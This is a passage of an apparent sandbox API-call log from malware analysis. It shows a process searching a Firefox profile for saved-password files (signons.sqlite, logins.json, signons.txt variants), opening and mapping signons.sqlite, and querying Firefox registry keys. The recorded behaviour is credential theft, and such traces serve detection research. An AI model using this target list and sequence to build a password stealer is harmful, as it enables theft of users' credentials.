uBytes=0xe0) returned 0x74fc28 [0048.128] lstrcpyA (in: lpString1=0x74fc28, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps" [0048.129] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*" [0048.129] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\minidumps\\*.*", lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0x72dd90 [0048.129] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.129] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 1 [0048.129] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.129] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.129] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0 [0048.129] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.129] LocalFree (hMem=0x74fc28) returned 0x0 [0048.129] LocalFree (hMem=0x74fb40) returned 0x0 [0048.129] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.129] StrStrIA (lpFirst="parent.lock", lpSrch="signons.sqlite") returned 0x0 [0048.129] lstrlenA (lpString="parent.lock") returned 11 [0048.129] StrStrIA (lpFirst="parent.lock", lpSrch="logins.json") returned 0x0 [0048.129] StrStrIA (lpFirst="parent.lock", lpSrch="signons.txt") returned 0x0 [0048.129] StrStrIA (lpFirst="parent.lock", lpSrch="signons2.txt") returned 0x0 [0048.129] StrStrIA (lpFirst="parent.lock", lpSrch="signons3.txt") returned 0x0 [0048.129] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.129] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.129] lstrlenA (lpString="permissions.sqlite") returned 18 [0048.129] StrStrIA (lpFirst="permissions.sqlite", lpSrch="logins.json") returned 0x0 [0048.129] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.txt") returned 0x0 [0048.129] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.129] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.129] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.129] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.129] lstrlenA (lpString="places.sqlite") returned 13 [0048.129] StrStrIA (lpFirst="places.sqlite", lpSrch="logins.json") returned 0x0 [0048.129] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.txt") returned 0x0 [0048.130] StrStrIA (lpFirst="places.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.130] StrStrIA (lpFirst="places.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.130] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.130] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.sqlite") returned 0x0 [0048.130] lstrlenA (lpString="pluginreg.dat") returned 13 [0048.130] StrStrIA (lpFirst="pluginreg.dat", lpSrch="logins.json") returned 0x0 [0048.130] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.txt") returned 0x0 [0048.130] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons2.txt") returned 0x0 [0048.130] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons3.txt") returned 0x0 [0048.130] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.130] StrStrIA (lpFirst="prefs.js", lpSrch="signons.sqlite") returned 0x0 [0048.130] lstrlenA (lpString="prefs.js") returned 8 [0048.130] StrStrIA (lpFirst="prefs.js", lpSrch="logins.json") returned 0x0 [0048.130] StrStrIA (lpFirst="prefs.js", lpSrch="signons.txt") returned 0x0 [0048.130] StrStrIA (lpFirst="prefs.js", lpSrch="signons2.txt") returned 0x0 [0048.130] StrStrIA (lpFirst="prefs.js", lpSrch="signons3.txt") returned 0x0 [0048.130] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.130] StrStrIA (lpFirst="search.json", lpSrch="signons.sqlite") returned 0x0 [0048.130] lstrlenA (lpString="search.json") returned 11 [0048.130] StrStrIA (lpFirst="search.json", lpSrch="logins.json") returned 0x0 [0048.130] StrStrIA (lpFirst="search.json", lpSrch="signons.txt") returned 0x0 [0048.130] StrStrIA (lpFirst="search.json", lpSrch="signons2.txt") returned 0x0 [0048.130] StrStrIA (lpFirst="search.json", lpSrch="signons3.txt") returned 0x0 [0048.130] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.130] StrStrIA (lpFirst="secmod.db", lpSrch="signons.sqlite") returned 0x0 [0048.130] lstrlenA (lpString="secmod.db") returned 9 [0048.130] StrStrIA (lpFirst="secmod.db", lpSrch="logins.json") returned 0x0 [0048.130] StrStrIA (lpFirst="secmod.db", lpSrch="signons.txt") returned 0x0 [0048.130] StrStrIA (lpFirst="secmod.db", lpSrch="signons2.txt") returned 0x0 [0048.130] StrStrIA (lpFirst="secmod.db", lpSrch="signons3.txt") returned 0x0 [0048.130] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.130] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.sqlite") returned 0x0 [0048.130] lstrlenA (lpString="sessionstore.bak") returned 16 [0048.130] StrStrIA (lpFirst="sessionstore.bak", lpSrch="logins.json") returned 0x0 [0048.130] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.txt") returned 0x0 [0048.130] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons2.txt") returned 0x0 [0048.131] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons3.txt") returned 0x0 [0048.131] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.131] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.sqlite") returned 0x0 [0048.131] lstrlenA (lpString="sessionstore.js") returned 15 [0048.131] StrStrIA (lpFirst="sessionstore.js", lpSrch="logins.json") returned 0x0 [0048.131] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.txt") returned 0x0 [0048.131] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons2.txt") returned 0x0 [0048.131] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons3.txt") returned 0x0 [0048.131] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.131] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.sqlite") returned="signons.sqlite" [0048.131] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.131] lstrlenA (lpString="\\") returned 1 [0048.131] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fa60 [0048.131] lstrcpyA (in: lpString1=0x74fa60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.131] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.131] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.131] lstrlenA (lpString="signons.sqlite") returned 14 [0048.131] LocalAlloc (uFlags=0x40, uBytes=0xe1) returned 0x74d998 [0048.131] lstrcpyA (in: lpString1=0x74d998, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.131] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="signons.sqlite" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" [0048.131] LocalFree (hMem=0x74fa60) returned 0x0 [0048.131] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0048.131] CloseHandle (hObject=0x3b8) returned 1 [0048.131] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x62 [0048.131] LocalAlloc (uFlags=0x40, uBytes=0xe2) returned 0x74da88 [0048.131] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite", lpDst=0x74da88, nSize=0x62 | out: lpDst="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite") returned 0x61 [0048.131] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0048.131] CloseHandle (hObject=0x3b8) returned 1 [0048.131] CreateFileA (lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\signons.sqlite" (normalized: "c:\\users\\adu0vk iwa5kls\\appdata\\roaming\\mozilla\\firefox\\profiles\\asmpdd98.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0048.131] GetFileSize (in: hFile=0x3b8, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50000 [0048.131] CreateFileMappingA (hFile=0x3b8, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x3bc [0048.132] MapViewOfFile (hFileMappingObject=0x3bc, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x480000 [0048.134] UnmapViewOfFile (lpBaseAddress=0x480000) returned 1 [0048.135] CloseHandle (hObject=0x3bc) returned 1 [0048.135] CloseHandle (hObject=0x3b8) returned 1 [0048.135] LocalFree (hMem=0x74da88) returned 0x0 [0048.135] LocalFree (hMem=0x74d998) returned 0x0 [0048.135] lstrlenA (lpString="signons.sqlite") returned 14 [0048.135] StrStrIA (lpFirst="signons.sqlite", lpSrch="logins.json") returned 0x0 [0048.135] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.txt") returned 0x0 [0048.135] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.135] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.135] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.135] StrStrIA (lpFirst="times.json", lpSrch="signons.sqlite") returned 0x0 [0048.135] lstrlenA (lpString="times.json") returned 10 [0048.135] StrStrIA (lpFirst="times.json", lpSrch="logins.json") returned 0x0 [0048.135] StrStrIA (lpFirst="times.json", lpSrch="signons.txt") returned 0x0 [0048.135] StrStrIA (lpFirst="times.json", lpSrch="signons2.txt") returned 0x0 [0048.135] StrStrIA (lpFirst="times.json", lpSrch="signons3.txt") returned 0x0 [0048.135] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.135] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.sqlite") returned 0x0 [0048.135] lstrlenA (lpString="urlclassifierkey3.txt") returned 21 [0048.135] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="logins.json") returned 0x0 [0048.135] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.txt") returned 0x0 [0048.135] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons2.txt") returned 0x0 [0048.135] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons3.txt") returned 0x0 [0048.135] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.135] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0048.135] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0048.136] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned 81 [0048.136] lstrlenA (lpString="\\") returned 1 [0048.136] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x74fa60 [0048.136] lstrcpyA (in: lpString1=0x74fa60, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default" [0048.136] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.136] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned 82 [0048.136] lstrlenA (lpString="webapps") returned 7 [0048.136] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x74fb40 [0048.136] lstrcpyA (in: lpString1=0x74fb40, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\" [0048.136] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\", lpString2="webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0048.136] LocalFree (hMem=0x74fa60) returned 0x0 [0048.136] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned 89 [0048.136] lstrlenA (lpString="\\*.*") returned 4 [0048.136] LocalAlloc (uFlags=0x40, uBytes=0xde) returned 0x74fc28 [0048.136] lstrcpyA (in: lpString1=0x74fc28, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps" [0048.136] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*" [0048.136] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\asmpdd98.default\\webapps\\*.*", lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0x72dd90 [0048.136] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0048.136] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 1 [0048.136] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0048.136] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0048.136] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 1 [0048.136] StrStrIA (lpFirst="webapps.json", lpSrch="signons.sqlite") returned 0x0 [0048.136] lstrlenA (lpString="webapps.json") returned 12 [0048.136] StrStrIA (lpFirst="webapps.json", lpSrch="logins.json") returned 0x0 [0048.136] StrStrIA (lpFirst="webapps.json", lpSrch="signons.txt") returned 0x0 [0048.136] StrStrIA (lpFirst="webapps.json", lpSrch="signons2.txt") returned 0x0 [0048.136] StrStrIA (lpFirst="webapps.json", lpSrch="signons3.txt") returned 0x0 [0048.136] FindNextFileA (in: hFindFile=0x72dd90, lpFindFileData=0xef5c8 | out: lpFindFileData=0xef5c8) returned 0 [0048.136] FindClose (in: hFindFile=0x72dd90 | out: hFindFile=0x72dd90) returned 1 [0048.136] LocalFree (hMem=0x74fc28) returned 0x0 [0048.136] LocalFree (hMem=0x74fb40) returned 0x0 [0048.136] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 1 [0048.136] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.sqlite") returned 0x0 [0048.136] lstrlenA (lpString="webappsstore.sqlite") returned 19 [0048.136] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="logins.json") returned 0x0 [0048.136] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons.txt") returned 0x0 [0048.136] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons2.txt") returned 0x0 [0048.136] StrStrIA (lpFirst="webappsstore.sqlite", lpSrch="signons3.txt") returned 0x0 [0048.136] FindNextFileA (in: hFindFile=0x72dd50, lpFindFileData=0xef730 | out: lpFindFileData=0xef730) returned 0 [0048.136] FindClose (in: hFindFile=0x72dd50 | out: hFindFile=0x72dd50) returned 1 [0048.136] LocalFree (hMem=0x74f980) returned 0x0 [0048.136] LocalFree (hMem=0x746ac0) returned 0x0 [0048.136] FindNextFileA (in: hFindFile=0x72dcd0, lpFindFileData=0xef898 | out: lpFindFileData=0xef898) returned 0 [0048.137] FindClose (in: hFindFile=0x72dcd0 | out: hFindFile=0x72dcd0) returned 1 [0048.137] LocalFree (hMem=0x74d860) returned 0x0 [0048.137] LocalFree (hMem=0x745b68) returned 0x0 [0048.137] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa00 | out: lpFindFileData=0xefa00) returned 1 [0048.137] StrStrIA (lpFirst="profiles.ini", lpSrch="signons.sqlite") returned 0x0 [0048.137] lstrlenA (lpString="profiles.ini") returned 12 [0048.137] StrStrIA (lpFirst="profiles.ini", lpSrch="logins.json") returned 0x0 [0048.137] StrStrIA (lpFirst="profiles.ini", lpSrch="signons.txt") returned 0x0 [0048.137] StrStrIA (lpFirst="profiles.ini", lpSrch="signons2.txt") returned 0x0 [0048.137] StrStrIA (lpFirst="profiles.ini", lpSrch="signons3.txt") returned 0x0 [0048.137] FindNextFileA (in: hFindFile=0x72dc90, lpFindFileData=0xefa00 | out: lpFindFileData=0xefa00) returned 0 [0048.137] FindClose (in: hFindFile=0x72dc90 | out: hFindFile=0x72dc90) returned 1 [0048.137] LocalFree (hMem=0x74a738) returned 0x0 [0048.137] LocalFree (hMem=0x74a670) returned 0x0 [0048.137] LocalFree (hMem=0x7569a0) returned 0x0 [0048.137] LocalFree (hMem=0x7568e0) returned 0x0 [0048.137] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b918 [0048.137] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Main", phkResult=0xefbb0 | out: phkResult=0xefbb0*=0x39c) returned 0x0 [0048.137] RegEnumKeyExA (in: hKey=0x39c, dwIndex=0x0, lpName=0x75b918, lpcchName=0xefba8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefba8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.137] RegCloseKey (hKey=0x39c) returned 0x0 [0048.137] LocalFree (hMem=0x75b918) returned 0x0 [0048.137] LocalFree (hMem=0x756820) returned 0x0 [0048.137] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x1, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0048.137] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned 45 [0048.137] lstrlenA (lpString="\\") returned 1 [0048.137] LocalAlloc (uFlags=0x40, uBytes=0xaf) returned 0x750820 [0048.137] lstrcpyA (in: lpString1=0x750820, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)" [0048.137] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)", lpString2="\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0048.137] lstrlenA (lpString="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned 46 [0048.137] lstrlenA (lpString="Uninstall") returned 9 [0048.137] LocalAlloc (uFlags=0x40, uBytes=0xb8) returned 0x756820 [0048.137] lstrcpyA (in: lpString1=0x756820, lpString2="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\" [0048.137] lstrcatA (in: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\", lpString2="Uninstall" | out: lpString1="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall") returned="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall" [0048.137] LocalFree (hMem=0x750820) returned 0x0 [0048.137] StrStrIA (lpFirst="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", lpSrch="Firefox") returned="Firefox\\25.0 (en-US)\\Uninstall" [0048.137] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20019, phkResult=0xefb64 | out: phkResult=0xefb64*=0x39c) returned 0x0 [0048.137] RegQueryValueExA (in: hKey=0x39c, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb5c, lpData=0x0, lpcbData=0xefb60*=0x7 | out: lpType=0xefb5c*=0x0, lpData=0x0, lpcbData=0xefb60*=0x0) returned 0x2 [0048.137] RegCloseKey (hKey=0x39c) returned 0x0 [0048.137] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20219, phkResult=0xefb38 | out: phkResult=0xefb38*=0x39c) returned 0x0 [0048.138] RegQueryValueExA (in: hKey=0x39c, lpValueName="PathToExe", lpReserved=0x0, lpType=0xefb30, lpData=0x0, lpcbData=0xefb34*=0xefb1c | out: lpType=0xefb30*=0x0, lpData=0x0, lpcbData=0xefb34*=0x0) returned 0x2 [0048.138] RegCloseKey (hKey=0x39c) returned 0x0 [0048.138] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", ulOptions=0x0, samDesired=0x20119, phkResult=0xefb0c | out: phkResult=0xefb0c*=0x0) returned 0x2 [0048.138] LocalAlloc (uFlags=0x40, uBytes=0x880) returned 0x75b918 [0048.138] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="Software\\Mozilla\\Mozilla Firefox\\25.0 (en-US)\\Uninstall", phkResult=0xefbb0 | out: phkResult=0xefbb0*=0x39c) returned 0x0 [0048.138] RegEnumKeyExA (in: hKey=0x39c, dwIndex=0x0, lpName=0x75b918, lpcchName=0xefba8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="", lpcchName=0xefba8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.138] RegCloseKey (hKey=0x39c) returned 0x0 [0048.138] LocalFree (hMem=0x75b918) returned 0x0 [0048.138] LocalFree (hMem=0x756820) returned 0x0 [0048.138] RegEnumKeyExA (in: hKey=0x398, dwIndex=0x2, lpName=0x75b090, lpcchName=0xefbdc, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Uninstall", lpcchName=0xefbdc, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.138] RegCloseKey (hKey=0x398) returned 0x0 [0048.138] LocalFree (hMem=0x75b090) returned 0x0 [0048.138] LocalFree (hMem=0x7508d8) returned 0x0 [0048.138] RegEnumKeyExA (in: hKey=0x394, dwIndex=0x1, lpName=0x75a808, lpcchName=0xefc10, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="25.0 (en-US)", lpcchName=0xefc10, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0048.138] RegCloseKey (hKey=0x394) returned 